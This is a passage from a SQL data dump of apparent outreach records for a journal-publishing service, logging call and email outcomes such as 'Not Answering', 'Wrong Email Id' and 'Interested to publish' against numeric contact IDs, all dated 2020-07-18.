Answering','217-comm-sct.png',1,1,'2020-07-18'),(218,3019,4,1,'Wrong Email Id','218-comm-sct.png',1,1,'2020-07-18'),(219,3497,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(220,3836,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(221,3495,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(222,3008,3,1,'Wrong Email Id','222-comm-sct.png',1,1,'2020-07-18'),(223,3495,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(224,3492,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(225,3835,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(226,3006,2,1,'Wrong Email Id','226-comm-sct.png',1,1,'2020-07-18'),(227,3004,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(228,3002,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(229,3833,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(230,3001,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(231,3000,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(232,3491,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(233,2999,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(234,3490,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(235,2998,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(236,3479,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(237,2996,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(238,3831,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(239,3476,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(240,3476,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(241,3830,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(242,3475,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(243,5217,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(244,3473,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(245,2684,2,2,'Call not working',NULL,1,1,'2020-07-18'),(246,2684,2,2,'Call not working',NULL,1,1,'2020-07-18'),(247,2680,2,2,'Call not working',NULL,1,1,'2020-07-18'),(248,2992,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(249,3473,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(250,2677,2,2,'Call not working',NULL,1,1,'2020-07-18'),(251,2989,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(252,3829,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(253,2984,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(254,2676,2,2,'Call not working',NULL,1,1,'2020-07-18'),(255,5210,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(256,2978,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(257,2675,2,2,'Call not working',NULL,1,1,'2020-07-18'),(258,3828,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(259,2976,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(260,2675,2,2,'Call not working',NULL,1,1,'2020-07-18'),(261,2975,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(262,2674,2,2,'Call not working',NULL,1,1,'2020-07-18'),(263,2967,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(264,3822,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(265,5209,1,2,'Asked time to process the details',NULL,1,1,'2020-07-18'),(266,3831,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(267,2962,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(268,2956,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(269,2667,3,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(270,3817,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(271,2955,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(272,2954,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(273,5208,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(274,2661,3,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(275,2953,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(276,3817,2,2,'Call not working',NULL,1,1,'2020-07-18'),(277,3815,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(278,2950,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(279,2661,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(280,5207,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(281,2945,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(282,2660,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(283,5176,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(284,3815,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(285,2936,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(286,2654,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(287,5163,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(288,2935,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(289,3810,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(290,5155,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(291,2652,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(292,2934,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(293,5154,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(294,2650,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(295,2932,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(296,5146,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(297,3804,2,2,'Number is not mentioned.',NULL,1,1,'2020-07-18'),(298,2649,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(299,2644,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(300,2641,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(301,3801,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(302,2640,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(303,5140,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(304,2636,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(305,2930,3,1,'Wrong Email Id','305-comm-sct.png',1,1,'2020-07-18'),(306,5139,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(307,4615,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(308,2628,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(309,5148,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(310,2926,3,1,'Wrong Email Id','310-comm-sct.png',1,1,'2020-07-18'),(311,5138,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(312,3799,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(313,5130,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(314,5165,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(315,2627,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(316,2924,2,1,'Wrong Email Id','316-comm-sct.png',1,1,'2020-07-18'),(317,5099,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(318,5183,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(319,2918,3,1,'Wrong Email Id','319-comm-sct.png',1,1,'2020-07-18'),(320,5098,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(321,3798,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(322,5069,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(323,2626,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(324,5196,2,2,'Disconnected the call',NULL,1,1,'2020-07-18'),(325,2917,3,1,'Wrong Email Id','325-comm-sct.png',1,1,'2020-07-18'),(326,5067,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(327,3810,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(328,2625,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(329,5204,2,2,'Disconnected the call',NULL,1,1,'2020-07-18'),(330,5066,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(331,2913,3,1,'Wrong Email Id','331-comm-sct.png',1,1,'2020-07-18'),(332,5206,2,2,'Disconnected the call',NULL,1,1,'2020-07-18'),(333,2623,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(334,5056,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(335,3793,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(336,2908,3,1,'Wrong Email Id','336-comm-sct.png',1,1,'2020-07-18'),(337,2622,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(338,5214,1,2,'He will check the mail and get back to us',NULL,1,1,'2020-07-18'),(339,5216,1,2,'He will check the mail and get back to us',NULL,1,1,'2020-07-18'),(340,3793,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(341,2906,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(342,2621,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(343,2902,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(344,2899,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(345,2613,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(346,2898,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(347,5055,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(348,2611,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(349,3792,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(350,2897,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(351,5038,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(352,2609,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(353,3792,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(354,5037,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(355,2896,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(356,5012,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(357,3792,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(358,4636,1,2,'He will check the mail and get back to us',NULL,1,1,'2020-07-18'),(359,2608,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(360,2895,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(361,5010,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(362,4646,1,2,'He will check the mail and get back to us',NULL,1,1,'2020-07-18'),(363,3792,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(364,3791,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(365,2607,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(366,4997,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(367,4664,1,2,'He will check the mail and get back to us',NULL,1,1,'2020-07-18'),(368,2889,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(369,4961,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(370,3791,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(371,2603,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(372,4845,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(373,4827,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(374,3787,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(375,2888,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(376,2602,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(377,4825,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(378,3787,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(379,3781,1,2,'Not Answering',NULL,1,1,'2020-07-18'),(380,2601,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(381,2886,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(382,3775,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(383,2882,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(384,2595,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(385,3774,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(386,2874,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(387,3781,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(388,2051,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(389,2872,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(390,2593,2,2,'Call not working',NULL,1,1,'2020-07-18'),(391,1863,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(392,2869,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(393,1836,1,2,'Need some time to finalise the content and approval',NULL,1,1,'2020-07-18'),(394,2592,2,2,'Call not working',NULL,1,1,'2020-07-18'),(395,2868,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(396,2588,2,2,'Call not working',NULL,1,1,'2020-07-18'),(397,4816,1,2,'Need some time',NULL,1,1,'2020-07-18'),(398,3775,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(399,2586,2,2,'Call not working',NULL,1,1,'2020-07-18'),(400,2584,2,2,'Call not working',NULL,1,1,'2020-07-18'),(401,2584,2,2,'Call not working',NULL,1,1,'2020-07-18'),(402,3774,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(403,2866,3,1,'Need Scopus Index journal','403-comm-sct.png',1,1,'2020-07-18'),(404,2580,2,2,'Call not working',NULL,1,1,'2020-07-18'),(405,2855,3,1,'Need Scopus Index journal','405-comm-sct.png',1,1,'2020-07-18'),(406,2580,2,2,'Call not working',NULL,1,1,'2020-07-18'),(407,2853,4,1,'Need Scopus Index journal','407-comm-sct.png',1,1,'2020-07-18'),(408,2579,2,2,'Call not working',NULL,1,1,'2020-07-18'),(409,4808,2,1,'Not working','409-comm-sct.png',1,1,'2020-07-18'),(410,2714,2,2,'Call not working',NULL,1,1,'2020-07-18'),(411,4795,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(412,2710,2,2,'Call not working',NULL,1,1,'2020-07-18'),(413,2846,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(414,4786,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(415,2844,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(416,2697,2,2,'Call not working',NULL,1,1,'2020-07-18'),(417,2841,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(418,2696,2,2,'Call not working',NULL,1,1,'2020-07-18'),(419,2840,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(420,2839,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(421,2837,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(422,3770,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(423,4783,2,2,'Need some time',NULL,1,1,'2020-07-18'),(424,2836,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(425,3755,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(426,4777,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(427,3748,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(428,3745,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(429,4765,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(430,4764,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(431,3744,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(432,3742,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(433,4757,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(434,4748,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(435,3740,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(436,4738,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(437,3739,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(438,4733,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(439,4718,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(440,3736,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(441,4783,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(442,4717,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(443,3733,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(444,4702,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(445,3731,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(446,4694,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(447,3727,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(448,4672,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(449,4777,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(450,3725,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(451,4664,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(452,4646,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(453,3724,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(454,4636,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(455,3714,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(456,3711,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(457,4765,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(458,3710,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(459,4764,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(460,3755,1,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(461,4757,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(462,4748,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(463,4738,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(464,3705,1,2,'Not Answering',NULL,1,1,'2020-07-18'),(465,3704,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(466,5099,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(467,2577,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(468,5130,2,2,'Call Not Working',NULL,1,1,'2020-07-18'),(469,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(470,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(471,3703,4,2,'Not Answering',NULL,1,1,'2020-07-18'),(472,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(473,3701,4,2,'Not Answering',NULL,1,1,'2020-07-18'),(474,3697,4,2,'Not Answering',NULL,1,1,'2020-07-18'),(475,3697,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(476,3697,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(477,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(478,3693,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(479,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(480,3690,1,2,'Not Answering',NULL,1,1,'2020-07-18'),(481,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(482,3682,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(483,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(484,5130,2,2,'The Number Is Not In Service',NULL,1,1,'2020-07-18'),(485,3679,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(486,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(487,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(488,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(489,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(490,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(491,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(492,5130,2,2,'Call Not Working',NULL,1,1,'2020-07-18'),(493,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(494,3671,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(495,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(496,3669,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(497,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(498,3668,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(499,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(500,3662,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(501,3659,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(502,3648,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(503,2577,3,2,'Call not working',NULL,1,1,'2020-07-18'),(504,3645,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(505,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(506,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(507,3644,2,1,'Wrong Email Id','507-comm-sct.png',1,1,'2020-07-18'),(508,3641,2,1,'Wrong Email Id','508-comm-sct.png',1,1,'2020-07-18'),(509,3640,2,1,'Wrong Email Id','509-comm-sct.png',1,1,'2020-07-18'),(510,3639,2,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(511,3636,1,2,'Wrong Email Id',NULL,1,1,'2020-07-18'),(512,3470,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(513,3469,2,1,'Destination is busy','513-comm-sct.png',1,1,'2020-07-18'),(514,3467,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(515,3635,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(516,3467,2,2,'Destination is busy','516-comm-sct.png',1,1,'2020-07-18'),(517,4634,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(518,3632,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(519,3630,1,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(520,4626,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(521,3464,2,1,'Destination is busy','521-comm-sct.png',1,1,'2020-07-18'),(522,3622,1,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(523,4620,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(524,3461,2,1,'Destination is busy','524-comm-sct.png',1,1,'2020-07-18'),(525,3456,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(526,3452,4,2,'Destination is busy',NULL,1,1,'2020-07-18'),(527,3447,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(528,3442,4,1,'Destination is busy','528-comm-sct.png',1,1,'2020-07-18'),(529,4618,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(530,3439,4,2,'Destination is busy',NULL,1,1,'2020-07-18'),(531,4618,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(532,4611,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(533,4604,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(534,3438,2,2,'Destination is busy','534-comm-sct.png',1,1,'2020-07-18'),(535,4611,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(536,4590,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(537,3436,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(538,4587,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(539,3435,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(540,4577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(541,3435,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(542,4604,2,2,'Not answering.',NULL,1,1,'2020-07-18'),(543,3432,2,1,'Destination is busy','543-comm-sct.png',1,1,'2020-07-18'),(544,3429,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(545,3425,4,2,'Destination is busy',NULL,1,1,'2020-07-18'),(546,4590,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(547,3424,4,2,'Destination is busy',NULL,1,1,'2020-07-18'),(548,3423,4,1,'Destination is busy','548-comm-sct.png',1,1,'2020-07-18'),(549,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(550,4577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(551,4587,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(552,3420,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(553,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(554,3419,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(555,4570,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(556,3418,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(557,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(558,3417,4,1,'Destination is busy','558-comm-sct.png',1,1,'2020-07-18'),(559,4577,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(560,4565,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(561,3412,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(562,2577,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(563,3408,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(564,2577,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(565,2577,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(566,4570,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(567,4565,2,2,'Not answering',NULL,1,1,'2020-07-18'),(568,4534,2,1,'Need some time to finalise the content and approval','568-comm-sct.png',1,1,'2020-07-18'),(569,4534,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(570,4517,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(571,4517,2,1,'Wrong Email Id','571-comm-sct.png',1,1,'2020-07-18'),(572,4474,2,1,'Wrong Email Id','572-comm-sct.png',1,1,'2020-07-18'),(573,3407,3,1,'Need some time to finalise the content and approval','573-comm-sct.png',1,1,'2020-07-18'),(574,4501,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(575,3402,2,1,'Need some time to finalise the content and approval','575-comm-sct.png',1,1,'2020-07-18'),(576,4473,2,1,'Wrong Email Id','576-comm-sct.png',1,1,'2020-07-18'),(577,3397,4,1,'Need some time to finalise the content and approval','577-comm-sct.png',1,1,'2020-07-18'),(578,4460,2,1,'Wrong Email Id','578-comm-sct.png',1,1,'2020-07-18'),(579,3396,4,1,'Need some time to finalise the content and approval','579-comm-sct.png',1,1,'2020-07-18'),(580,4450,2,1,'Wrong Email Id','580-comm-sct.png',1,1,'2020-07-18'),(581,4474,2,2,'Server unreachable',NULL,1,1,'2020-07-18'),(582,3395,3,1,'Need some time to finalise the content and approval','582-comm-sct.png',1,1,'2020-07-18'),(583,3394,2,2,'Need some time to finalise the content and approval','583-comm-sct.png',1,1,'2020-07-18'),(584,3393,2,1,'Need some time to finalise the content and approval','584-comm-sct.png',1,1,'2020-07-18'),(585,4473,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(586,3391,4,1,'Need some time to finalise the content and approval','586-comm-sct.png',1,1,'2020-07-18'),(587,3377,2,1,'Need some time to finalise the content and approval','587-comm-sct.png',1,1,'2020-07-18'),(588,4405,2,1,'Wrong Email Id','588-comm-sct.png',1,1,'2020-07-18'),(589,4460,1,2,'Interested to publish',NULL,1,1,'2020-07-18'),(590,3373,3,1,'Need some time to finalise the content and approval','590-comm-sct.png',1,1,'2020-07-18'),(591,2577,2,1,'Need some time to finalise the content and approval','591-comm-sct.png',1,1,'2020-07-18'),(592,3372,2,1,'Need some time to finalise the content and approval','592-comm-sct.png',1,1,'2020-07-18'),(593,4450,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(594,2577,2,1,'Need some time to finalise the content and approval','594-comm-sct.png',1,1,'2020-07-18'),(595,3369,3,1,'Need some time to finalise the content and approval','595-comm-sct.png',1,1,'2020-07-18'),(596,4401,2,1,'Wrong Email Id','596-comm-sct.png',1,1,'2020-07-18'),(597,2577,2,1,'Need some time to finalise the content and approval','597-comm-sct.png',1,1,'2020-07-18'),(598,4405,2,2,'Author name is not mentioned',NULL,1,1,'2020-07-18'),(599,4379,2,1,'Wrong Email Id','599-comm-sct.png',1,1,'2020-07-18'),(600,2577,2,1,'Need Scopus Index journal','600-comm-sct.png',1,1,'2020-07-18'),(601,4401,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(602,4343,2,1,'Wrong Email Id','602-comm-sct.png',1,1,'2020-07-18'),(603,3367,4,1,'Need some time to finalise the content and approval','603-comm-sct.png',1,1,'2020-07-18'),(604,2577,2,1,'Need Scopus Index journal','604-comm-sct.png',1,1,'2020-07-18'),(605,4337,2,1,'Wrong Email Id','605-comm-sct.png',1,1,'2020-07-18'),(606,3366,3,1,'Need some time to finalise the content and approval','606-comm-sct.png',1,1,'2020-07-18'),(607,4315,2,1,'Wrong Email Id','607-comm-sct.png',1,1,'2020-07-18'),(608,3365,2,1,'Need some time to finalise the content and approval','608-comm-sct.png',1,1,'2020-07-18'),(609,4379,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(610,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(611,3361,2,1,'Need some time to finalise the content and approval','611-comm-sct.png',1,1,'2020-07-18'),(612,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(613,4343,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(614,3359,2,1,'Need Scopus Index journal','614-comm-sct.png',1,1,'2020-07-18'),(615,4304,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(616,4337,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(617,3358,2,1,'Need Scopus Index journal','617-comm-sct.png',1,1,'2020-07-18'),(618,4299,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(619,3346,2,1,'Need Scopus Index journal','619-comm-sct.png',1,1,'2020-07-18'),(620,3343,4,1,'Need Scopus Index journal','620-comm-sct.png',1,1,'2020-07-18'),(621,4298,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(622,4315,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(623,4297,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(624,3336,2,1,'Wrong Email 